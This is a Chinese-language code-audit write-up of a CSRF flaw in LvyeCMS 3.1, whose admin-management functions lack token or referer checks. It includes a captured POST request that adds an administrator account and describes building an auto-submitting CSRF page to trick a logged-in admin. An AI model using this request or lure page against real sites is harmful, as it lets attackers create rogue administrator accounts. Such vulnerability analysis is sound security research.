[代码审计] LvyeCms CSRF漏洞分析
Posted 哈拉少安全小队
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[代码审计] LvyeCms CSRF漏洞分析相关的知识,希望对你有一定的参考价值。
一、Cms初识:
LvyeCMS 基于Thinkphp框架开发,采用独立分组的方式开发的内容管理系统。支持模块安装/卸载,模型自定义,整合UCenter通行证等。同时系统对扩展方面也支持比较大,可以使用内置的行为控制,对现有功能进行扩展。
-目录结构:
二、漏洞简介:
后台添加、删除、修改管理员的功能,没有进行csrf的防护,例如验证referer、添加token等处理,导致可以进行csrf漏洞攻击,利用其添加、删除或者修改管理员。
三、漏洞分析过程:
首先查看控制器方法: lvyecmsApplicationAdminControllerManagementController.class.php
添加管理员访问的是adminadd()方法:
首先判断是否为POST请求,如果是则进行添加管理员的操作,这里首先使用D()方法实例化模型类,然后调用了createManager()方法进行添加操作:
跟进createManager()方法:直接进行了添加操作,也是没有任何验证的
删除功能:
修改功能:
都是一样,没有任何验证,所以最终可以进行CSRF漏洞攻击,构造请求伪造的页面,让管理员在登陆状态下点击,即可攻击成功。
四、漏洞利用:
以添加操作为例:
填好创建的管理员信息,在点击添加时抓包
POST数据包内容:可以看到没有任何token等验证
POST /Lvyecms3.1/admin.php?m=Management&a=adminadd HTTP/1.1
Host: 192.168.136.137
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.136.137/Lvyecms3.1/admin.php?m=Management&a=adminadd&menuid=22
Content-Length: 110
Cookie: UM_distinctid=175fe32e682524-0570e16459db8-13676d4a-144000-175fe32e68355f; CNZZDATA5760804=cnzz_eid%3D1456830227-1606287309-%26ntime%3D1606305680; PHPSESSID=okgritblkcbg4ra256sh5u5me3; __tins__14834816=%7B%22sid%22%3A%201606620965420%2C%20%22vd%22%3A%204%2C%20%22expires%22%3A%201606624174754%7D; __51cke__=; __51laig__=4; menuid=22
X-Forwarded-For: 127.0.0.1
Connection: close
username=test&password=test&pwdconfirm=test&email=test%40test.com&nickname=test&remark=test&role_id=1&status=0
然后利用burp生成csrf_poc,大概就这样子,这里我用js自动提交(burp本身的太粗糙了),当然实际中可以弄得更加完美,更具有迷惑性就更好了
然后当管理员登陆状态下点击页面链接,即可添加成功:
以上是关于[代码审计] LvyeCms CSRF漏洞分析的主要内容,如果未能解决你的问题,请参考以下文章